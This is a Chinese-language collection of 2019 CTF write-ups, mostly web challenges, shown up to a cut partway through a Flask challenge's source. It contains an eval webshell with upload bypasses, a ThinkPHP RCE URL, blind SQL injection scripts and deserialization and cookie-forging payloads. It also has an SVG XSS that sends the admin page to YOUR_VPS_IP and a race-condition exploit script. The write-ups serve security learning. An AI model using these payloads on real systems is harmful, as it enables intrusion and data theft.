2019WriteUp 汇总 VOL 1

本文总阅读量
  58 mins to read  


CUMTCTF双月赛I

ez-upload

进入题目,要求上传一个Webshell到服务器,可知该题目考察文件上传漏洞,由于这是一个PHP服务器,所以我们需要上传一个PHP Webshell

点击浏览,选择文件,文件内容为<?php @_eval($_POST['a']); ?>,上传文件提示不允许上传该类型文件,故需要想办法绕过服务器安全限制

这里修改后缀名为.phtml/.htaccess/.php5均可

然后用菜刀连接上传的Webshell,读取根目录下的flag文件:


CVE

这道题提示了是一个CVE,所以我们需要到网上找该CMS的相关漏洞。该CMS为Drupal ,CVE编号为cve-2018-7600,参考这篇文章

构造第一个请求注入恶意代码:

将第一个请求的响应中form-build-value取出填入第二个请求,获得flag:


secret-system

进入题目页面,访问robots.txt,可知登录页面URL

User-agent: *
Disallow: index.php?r=site/loginuser_1

查看登录页源代码可见提示:

<li><a href="/web/index.php?r=">login</a></li>
<li><a href="/web/index.php?r="></a></li></ul></div></div></nav>
    <div class="container">
                <!--
*** author: cib_zhinianyuxin.com
*** code: github.com
-->
<div class="site-loginuser_1">

    <form id="w0" action="/web/index.php?r=site/loginuser_1" method="post">

访问作者的Github仓库:https://github.com/cumtxujiabin/secret-system

看到提示:


1. you can use test/cib_sec to login ,but you are not admin!
2. only admin can upload file ,but whichone can not bypass my rules.

/**
$sign = array(
                    'id'=>$model->id,
                    'name'=>$model->username,
                    'sign'=>md5($model->id.$model->username),
                );
$_COOKIE['Cib_security'] = serialize($sign);
**/

可知:

  • 能以test/cib_sec账户登录
  • Cookiearray对象的序列化

所以我们可以尝试伪造序列化的数据,写PHP脚本:

<?php
    $sign = array(
                    'id'=>"1",
                    'name'=>"admin",
                    'sign'=>md5("1"."admin"),
                );
	echo serialize($sign);

Cookie Cib_security的value修改为a:3:{s:2:"id";s:1:"1";s:4:"name";s:5:"admin";s:4:"sign";s:32:"6c5de1b510e8bdd0bc40eff99dcd03f8";}即可获得管理员权限

接着发现页面存在Upload目录,进入后要求上传一个Webshell,又是一个文件上传漏洞,这里我们按照题1 的步骤上传,但是需要改后缀名为.pht,然后和题1一样,使用菜刀连接,读取flag


ezshop

进入题目,是一个商店,注册新用户发现我们有300积分,但是买flag需要888积分

接着我们下载题目给的压缩包,发现是网站的源代码,为Python Django框架,审计代码后在/ezshop/payment/views.py发现问题

这里接收到支付请求的逻辑为:

  • 查验签名是否正确
  • 调用get_object_or_404函数获取订单对象、商品对象、用户对象(以用户ID为参数)
  • 依次检查订单状态、商品状态、用户积分

而最重要的一点,它没有检查用户权限,所以我们可以利用这个漏洞来越权发起请求,即用别人的账户来支付我们的订单

但我们不知道谁的账户里有足够的钱来帮我们完成支付,所以我们查看网站代码压缩包里的数据库文件

看到id为16的用户账户里有30000¥

故我们创建订单

接着点击确认支付并开启BP抓包,由源码里我们知签名的构造是将密钥与POST请求请求体拼接后进行hash,

这里直接读取密钥文件会更好,因为密钥结尾有一个换行符

获取签名后填入请求的查询字段,发起请求:

看到订单成功支付,这时打开题目网站,查看商品flag


tp5

这是这几天爆出的ThinkPHP框架的CVE,可以看该文章

访问http://219.219.61.234:10005/public/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=xxx&vars[1][]=xxx即可执行任意代码

http://219.219.61.234:10005/public/?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

system("cat /flag")获得flag


shell

进去题目,发现有一个登录框,注册用户后登录,发现可以上传图片

扫描网站后台,发现/admin目录,测试发现存在注入,为时间+正则盲注,注入脚本:

import requests

url = "http://114.55.36.69:10006/admin/login.php"
# payload = "database()"  web
# payload = "password"

flag = ""

for i in range(1, 50):
    for j in "qazxswedcvfrtgbnhyjumkiolp1234567890{},_-!@#%&=':|<>":
        _data = {
                "username": f"admin' and if(mid(({payload}),{i},1) regexp '{j}',sleep(3),1)#",
                "password": "aaa"
            }
        try:
            r = requests.post(url, data=_data, timeout=3)
        except:
            flag += j
            break
    print(flag)

获得管理员密码后登录管理后台,发现存在?file=CN.html,猜想这里存在文件包含漏洞

联想到普通用户目录里的文件上传功能,我们得到解题思路:

  • 普通用户上传图片,图片中包含恶意php代码
  • 管理员目录中包含恶意文件,执行代码

这里的图片上传使用了PHP GD图片处理库(标志为上传的图片中包含CREATOR: gd-jpeg v1.0 (using IJG JPEG v80)),会对图片进行渲染,渲染失败会提示该文件不是jpg文件,且会过滤图片中的恶意内容

所以我们上传一个图片,然后再下载下来,对比两个图片的Hex,找出未被修改的部分,将那部分内容改写为我们的恶意代码,然后在admin目录中包含恶意文件,即可执行任意代码

BlockChain

zeppelin原题,delegatecall函数的漏洞


CUMTCTF双月赛II

签到

?0ver=001&0ver1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&0ver2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

SimpleUpload签到

console里function checkFile(){;}覆盖掉判断函数后上传


小型线上赌场

.index.swp文件泄露

import asyncio
import aiohttp

url = "http://202.119.201.199:32787/index.php?invest=1&guess=2"

async def guess():
    async with aiohttp.ClientSession() as session:
        while 1:
            async with session.get(url) as resp:
                data = await resp.text()
                if "flag{" in data:
                    print(data)
                    exit()


loop = asyncio.get_event_loop()
tasks = [guess() for i in range(8)]
loop.run_until_complete(asyncio.gather(*tasks))


SimpleSQLi

Sqlmap:

sqlmap -u xxx


SimpleSqli2

import requests

#payload = "selSELECTect/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='flagishere'"
payload = "selSELECTect/**/binary/**/group_concat(FLAG)/**/from/**/flagishere"


flag = ''

for i in range(4, 50):
    for w in '_QAZXSWEDCVFRTGBNHYUJMKIOLP{}qazxscwderfvbgtyhnmjuiklop1234567890':
        url = f"http://bxs.cumt.edu.cn:30010/test/index.php?id=if(mid(({payload}),{i},1)='{w}',1,0)"
        # url = f"http://127.0.0.1/sql.php?id=if(mid(({payload}),{i},1)='{chr(w)}',1,0)"
        # print(url)
        r = requests.get(url)
        if 'NoNoNo' not in r.text:
            flag += w
            break
    print(flag)

真的简单。。

http://202.119.201.199:32793/list.php?id=-1' uniunionon seleselectct 1,2,(selselectect flag from flag)-- -

获得flag in admin_08163314/exec.php

后台命令执行:

`echo$IFS"Y2F0IC9mbGFnXzMzMTQvZmxhZw=="|base64$IFS-d`

文件管理系统

源码泄露:www.zip

二次注入:

后台的建表语句为四个字段:

CREATE TABLE file(fid id()
                  filename xx
                  oldname xx
                  extension xx
                  )

上传文件名为:

',extension='',filename='404.jpg.jpg

upload.php上传时由于addslashes的原因单引号转义

插入表内的文件名:

filename = ',extension='',filename='404.jpg

扩展名:

extension = .jpg

改名时的update语句为

update `file` set `filename`='404.jpg', `oldname`='',extension='',filename='404.jpg' where `fid`=x;

此时库中存在一个扩展名为空的记录

上传一个404.jpg

重命名为404.php

$oldname = ROOT.UPLOAD_DIR . $result["filename"].$result["extension"];
$newname = ROOT.UPLOAD_DIR . $req["newname"].$result["extension"];
if(file_exists($oldname)) {
    rename($oldname, $newname);

空扩展名拼接后为原文件名,即可成功重命名为.php


BlockChain

ctf函数的两处require:

require (takeRecord[msg.sender] == true);
require (balances[msg.sender] == 0);

即领取过空投且收益为0

调用takeMoney即可满足第一个条件

而后需要调用transfer函数将钱转走,但是transfer被lock了,且时长为一年

而后阅读代码发现父类中的函数transferFrom也可转移

require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0)); 第二个判断通过父类的approve函数来达成
function approve(address _spender, uint256 _value) public returns (bool) {
    allowed[msg.sender][_spender] = _value;
    emit Approval(msg.sender, _spender, _value);
    return true;
}

然后转移10**6 money,调用ctf函数即获得flag


Misc

BXS图标

查看发现是重排列的密码,猜测有意义的字符串获得flag

矿大校歌

文件注释中有解压密码

解压后mp3stego提取隐藏文件

起床改error

文件中隐藏压缩包

doc文件中查看隐藏字符即可


2019安恒一月月赛

Babygo

<?php

class baby 
{   
    protected $skyobj;  
    public $aaa;
    public $bbb;
    function __construct(){
        $this -> skyobj = new sec;
    }
    function __toString()      
    {          
        if (isset($this->skyobj))  
            return $this->skyobj->read();      
    }  
    function a(){
        $tmp = new baby();
        $tmp -> bbb = NULL;

        $this -> skyobj = new cool();
        $this -> skyobj -> amzing = serialize($tmp);
        $this -> skyobj -> filename = "flag.php";
    }
}  

class cool 
{    
    public $filename;     
    public $nice;
    public $amzing; 
    function read()     
    {  
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";        
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "you must be joking!"; 
            }    
        }
    }  
}  
  
class sec 
{  
    function read()     
    {          
        return "it's so sec~~";      
    }  
}



$obj = new baby();
$obj->a();


echo serialize($obj);

构造序列化payload,需注意protected成员序列化后的%00*%00


SimplePHP

查看robots.txt,访问/admin有注册登录页面

SQL长度约束,username=admin 1登录

进入后利用TP注入漏洞:

import requests

flag = ""
_cookies = {
	'PHPSESSID': # cookie
}

for i in range(1,50):
	for j in range(33, 128):
		url = f'http://101.71.29.5:10004/Admin/User/Index?search[table]=flag where 1 and if((mid((select flag from flag limit 0,1),{i},1)={chr(j)},sleep(3),0)--'
		try:
			r = requests.get(url, timeout=3, cookies=_cookies)
		except:
			flag += j
			break
    print(flag)

Teaser CONFidence CTF

赛后复现,连接https://confidence2019.p4.team/

My Admin Panel我看做出来的人挺多就没看,复现了后两道Web题目

Web 50

一道XSS题目,注册后存在上传接口以及向管理员汇报Bug

使用SVG矢量图片格式,内嵌JS代码,由于上传执行,不存在SOP影响

EXP:

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve">  <image id="image0" width="751" height="751" x="0" y="0"
    href="data:image/png;base64,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" />
<script>
fetch('http://web50.zajebistyc.tf/profile/admin').then(o => o.text()).then(v => fetch('http://YOUR_VPS_IP/', {method: 'POST',
        body: JSON.stringify({k: v})}));
</script>
</svg>

这里踩了个坑,用GET发数据会超出最大字节限制


The Lottery

Golang的Chi框架,其实Golang的Web框架都是千篇一律的API,几乎都只是在重复模仿

这道题给了源码,是一个REST API,有以下路由

r.Get("/", handler.IndexGet)
r.Post("/account", handler.AccountAdd)
r.Post("/account/{name}/amount", handler.AccountAddAmount)
r.Get("/account/{name}", handler.AccountGet)
r.Post("/lottery/add", handler.LotteryAdd)
r.Get("/lottery/results", handler.LotteryResults)

看看怎样能拿到flag:

// 如果你是millionare或者你win了lottery

func (h *Handlers) AccountGet(w http.ResponseWriter, r *http.Request) {
	account, flag, err := h.service.AccountGet(chi.URLParam(r, "name"))
	if err != nil {
		if err == app.ErrNotFound {
			http.Error(w, err.Error(), http.StatusNotFound)
			return
		}
		http.Error(w, err.Error(), http.StatusInternalServerError)
		return
	}
	response := AccountGetResponse{
		Account: account,
	}
	if flag {
		response.Flag = h.flag
	}

	w.Header().Set("Content-Type", "application/json")
	_ = json.NewEncoder(w).Encode(response)
}

func (s *Service) AccountGet(name string) (Account, bool, error) {
	s.mutex.RLock()
	defer s.mutex.RUnlock()
	account, found := s.accounts[name]
	if !found {
		return Account{}, false, ErrNotFound
	}
	superUser := s.lottery.IsWinner(name) || account.IsMillionaire()
	return account, superUser, nil
}

func (a *Account) IsMillionaire() bool {
	sum := 0
	for _, a := range a.Amounts {
		sum += a
	}
	return sum >= 1000000
}

彩票赢的条件是你账户所有的钱数(MaxAmountsLen = 4,int数组,最大长度为4),加上一个大随机数正好等于0x133700

for name, account := range accounts {
    amounts := append(account.Amounts, randInt(999913, 3700000))
    sum := 0
    for _, a := range amounts {
        sum += a
    }
    if sum == 0x133700 {
        l.winners[name] = struct{}{}
    }
}

百万富翁的条件,你可以添加你账户的钱,但是不能大于99:

const MaxAmount  = 99

func (a *Account) AddAmount(amount int) error {
	if amount < 0 || amount > MaxAmount {
		return errors.Wrapf(ErrInvalidData, "amount must be positive and less than %d: got '%d'", MaxAmount+1, amount)
	}
	if len(a.Amounts) >= MaxAmountsLen {
		return errors.Wrapf(ErrInvalidData, "reached maximum number of amounts (%d)", MaxAmountsLen)
	}
	a.Amounts = append(a.Amounts, amount)
	return nil
}

漏洞利用思路学习自https://github.com/mwarzynski/confidence2019_teaser_lottery

理一遍流程:

首先通过接口创建新账户,接着可以添加四次账户余额,然后注册账户参加赌博,最后查看结果,如果isMillionare || amountTotal > 1000000则会返回flag

我们看看赌博计算结果的函数

func (l *Lottery) evaluate() {
	l.mutex.Lock()
	defer l.mutex.Unlock()
	accounts := l.accounts
	l.winners = make(map[string]struct{})
	l.accounts = make(map[string]Account)
	for name, account := range accounts {
		amounts := append(account.Amounts, randInt(999913, 3700000))
		sum := 0
		for _, a := range amounts {
			sum += a
		}
		if sum == 0x133700 {
			l.winners[name] = struct{}{}
		}
	}
}

它直接取出了用户结构体中的amounts来append,这里需要知道Go里的切片是什么,我原来写代码时就在这里踩过坑

struct {
    ptr *T
    len int
    cap int
}

Go里有引用类型与值类型的区分,所有的引用类型其实都是一个包含指针的结构体。而切片的指针指向的是底层的数组(数组不可变,切片可变)

比如我这样操作的话

array := [...]int{1, 2, 3}
s1 := array[:2]
s2 := array[2:]

这两个切片所引用的数组是同一个,我修改其中一个切片的结果是,另一个也会被修改

而append函数则是扩充切片,它创建一个新的切片结构体并返回。当没有达到cap(容量)限制时,它还是指向原先的数组,并将元素append到底层数组中,并修改长度。而超过容量限制后,则会创建一个新的底层数组,并且返回指向新数组的切片

所以虽然C-like的变量是传值,但是由于引用类型的存在,我们可以修改到原始结构体。而又因为传值的原因,我们可以拿到不一样的slice结构体(指针相同,长度容量不同)

exp.py:

import requests
import threading
import os


url = 'https://lottery.zajebistyc.tf'


def exp():
    s = requests.Session()
    r = s.post(url + '/account').json()
    user = r['name']
    
    for _ in range(3):
        r = s.post(url + f'/account/{user}/amount', json={'amount': 99})

    r = s.get(url + f'/account/{user}')
    r = s.post(url + f'/lottery/add', json={'accountName': user})
    r = s.post(url + f'/account/{user}/amount', json={'amount': 99})
    r = s.get(url + f'/account/{user}')

    print(r.text)
    if 'flag' in r.text:
        os._exit(0)


t = [threading.Thread(target=exp) for _ in range(30)]
[thread.start() for thread in t]

DDCTF2019

Web除了最后一道零解(最后有几个大佬a了)的Java

滴~

这道题的误导很严重

进入题目

URL为http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09,将参数解码

>>> 'TmpZMlF6WXhOamN5UlRaQk56QTJOdz09'.decode('base64').decode('base64').decode('hex')
'flag.jpg'

存在文件读取,尝试读取页面源码

>>> 'index.php'.encode('hex')
'696e6465782e706870'
>>> _.encode('base64')
'Njk2ZTY0NjU3ODJlNzA2ODcw\n'
>>> _[:-1].encode('base64')
'TmprMlpUWTBOalUzT0RKbE56QTJPRGN3\n'

解码后获得页面源码

<?php
/*
 * https://blog.csdn.net/FengBanLiuYun/article/details/80616607
 * Date: July 4,2018
 */
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
 * Can you find the flag file?
 *
 */

?>

发现两处过滤:

$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","!", $file);

所有非[a-zA-Z0-9.]的字符会被过滤,config会被替换为!

访问注释里的CSDN链接,这里有个脑洞,需要根据日期7月4号来查看CSDN博客相应的文章,文章内容是.swp文件泄露,猜测存在泄露且文件名相同

访问/practice.txt.swp得到内容f1ag!ddctf.php,因为!被过滤所以用config来替代!,传入参数b64encode(b64encode(hex("f1agconfigddctf.php")))读源码

<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
    $content=trim(file_get_contents($k));
    if($uid==$content)
	{
		echo $flag;
	}
	else
	{
		echo'hello';
	}
}

?>

这个就是常规的变量覆盖了,传入http://117.51.150.246/f1ag!ddctf.php?k=practice.txt.swp&uid=f1ag!ddctf.php获得flag:

DDCTF{436f6e67726174756c6174696f6e73}


WEB 签到题

进入页面提示无权限

抓包发现有一个Ajax请求了鉴权接口

修改空值为admin后发包,提示访问某页面

进入新页面,给了源码,开始审计


Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}




url:app/Session.php



include 'Application.php';
class Session extends Application {

    //key建议为8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration			= 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path				= '';
    var $cookie_domain				= '';
    var $cookie_secure				= FALSE;
    var $activity                   = "DiDiCTF";


    public function index()
    {
	if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }
}


$ddctf = new Session();
$ddctf->index();

注意到关键点:

  • 反序列化类的析构函数存在文件读取
  • 生成session需要密钥'../config/key.txt'

访问key.txt提示没有权限,看到源码里:

if(!empty($_POST["nickname"])) {
    $arr = array($_POST["nickname"],$this->eancrykey);
    $data = "Welcome my friend %s";
    foreach ($arr as $k => $v) {
        $data = sprintf($data,$v);
    }
    parent::response($data,"Welcome");
}

数组里有两个参数,循环sprintf,所以我们可以传入"nickname=%s",这样第一次循环后:"Welcome my friend %s",第二次循环后sprintf("welcome my friend %s", $eancrykey),即成功获取密钥

获取密钥后开始伪造session反序列化读文件

我们序列化Application类,成员path修改为..././config/flag.txt,这里由于过滤了../所以双写绕过

<?php

$a = 'O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}';
echo urlencode($a);
echo md5("EzblrbNS".$a);

获得flag


Upload-IMG

这道题是绕过PHP GD库的图像重渲染

具体可看这篇文章:http://www.cnblogs.com/test404/p/6644871.html

我们可以利用工具jpg_payload生成包含恶意代码的图片

工具链接:https://wiki.ioin.in/soft/detail/1q

首先准备一张图片,先上传到服务器,图片将会被重渲染,接着我们将图片下载下来,使用工具插入恶意代码

$ php5 jpg_payload.php 190413104151_339161029.jpg

这时的图片就包含了恶意代码且不会被GD库重渲染抹去,我们再次上传即可获得flag


homebrew event loop

这道题我个人认为出的很好

是一个Flask框架编写,上来就给了源码

# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'

from flask import Flask, session, request, Response
import urllib

app = Flask(__name__)
app.secret_key = '*********************'  # censored
url_prefix = '/d5af31f66147e857'


def FLAG():
    print 'invoke flag!!'
    return 'FLAG_is_here_but_i_wont_show_you'  # censored


def trigger_event(event):
    session['log'].append(event)
    if len(session['log']) > 5: session['log'] = session['log'][-5:]
    if type(event) == type([]):
        request.event_queue += event
    else:
        request.event_queue.append(event)
    print request.event_queue


def get_mid_str(haystack, prefix, postfix=None):
    haystack = haystack[haystack.find(prefix) + len(prefix):]
    if postfix is not None:
        haystack = haystack[:haystack.find(postfix)]
    return haystack


class RollBackException:
    pass


def execute_event_loop():
    valid_event_chars = set(
        'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')
    resp = None
    while len(request.event_queue) > 0:
        event = request.event_queue[
            0]  # `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"
        request.event_queue = request.event_queue[1:]
        if not event.startswith(('action:', 'func:')): continue
        for c in event:
            if c not in valid_event_chars:
                return 'white list'
                break
        else:
            is_action = event[0] == 'a'
            action = get_mid_str(event, ':', ';')
            args = get_mid_str(event, action + ';').split('#')
            #print action
            #print args
            try:
                event_handler = eval(
                    action + ('_handler' if is_action else '_function'))
                ret_val = event_handler(args)
            except RollBackException:
                if resp is None: resp = ''
                resp += 'ERROR! All transactions have been cancelled. <br />'
                resp += '<a href="./?action:view;index">Go back to index.html</a><br />'
                session['num_items'] = request.prev_session['num_items']
                session['points'] = request.prev_session['points']
                break
            except Exception, e:
                if resp is None: resp = ''
                resp += str(e) # only for debugging
                continue
            if ret_val is not None:
                if resp is None: resp = ret_val
                else: resp += ret_val
    if resp is None or resp == '': resp = ('404 NOT FOUND', 404)
    session.modified = True
    return resp


@app.route(url_prefix + '/')
def entry_point():
    querystring = urllib.unquote(request.query_string)
    request.event_queue = []
    if querystring == '' or (
            not querystring.startswith('action:')) or len(querystring) > 100:
        querystring = 'action:index;False#False'
    if 'num_items' not in session:
        session['num_items'] = 0
        session['points'] = 3
        session['log'] = []
    request.prev_session = dict(session)
    trigger_event(querystring)
    return execute_event_loop()


# handlers/functions below --------------------------------------


def view_handler(args):
    page = args[0]
    html = ''
    html += '[INFO] you have {} diamonds, {} points now.<br />'.format(
        session['num_items'], session['points'])
    if page == 'index':
        html += '<a href="./?action:index;True%23False">View source code</a><br />'
        html += '<a href="./?action:view;shop">Go to e-shop</a><br />'
        html += '<a href="./?action:view;reset">Reset</a><br />'
    elif page == 'shop':
        html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'
    elif page == 'reset':
        del session['num_items']
        html += 'Session reset.<br />'
    html += '<a href="./?action:view;index">Go back to index.html</a><br />'
    return html


def index_handler(args):
    bool_show_source = str(args[0])
    bool_download_source = str(args[1])
    if bool_show_source == 'True':

        source = open('eventLoop.py', 'r')
        html = ''
        if bool_download_source != 'True':
            html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'
            html += '<a href="./?action:view;index">Go back to index.html</a><br />'

        for line in source:
            if bool_download_source != 'True':
                html += line.replace('&', '&amp;').replace(
                    '\t', '&nbsp;' * 4).replace(' ', '&nbsp;').replace(
                        '<', '&lt;').replace('>', '&gt;').replace(
                            '\n', '<br />')
            else:
                html += line
        source.close()

        if bool_download_source == 'True':
            headers = {}
            headers['Content-Type'] = 'text/plain'
            headers['Content-Disposition'] = 'attachment; filename=serve.py'
            return Response(html, headers=headers)
        else:
            return html
    else:
        trigger_event('action:view;index')


def buy_handler(args):
    num_items = int(args[0])
    if num_items <= 0:
        return 'invalid number({}) of diamonds to buy<br />'.format(args[0])
    session['num_items'] += num_items
    trigger_event(
        ['func:consume_point;{}'.format(num_items), 'action:view;index'])


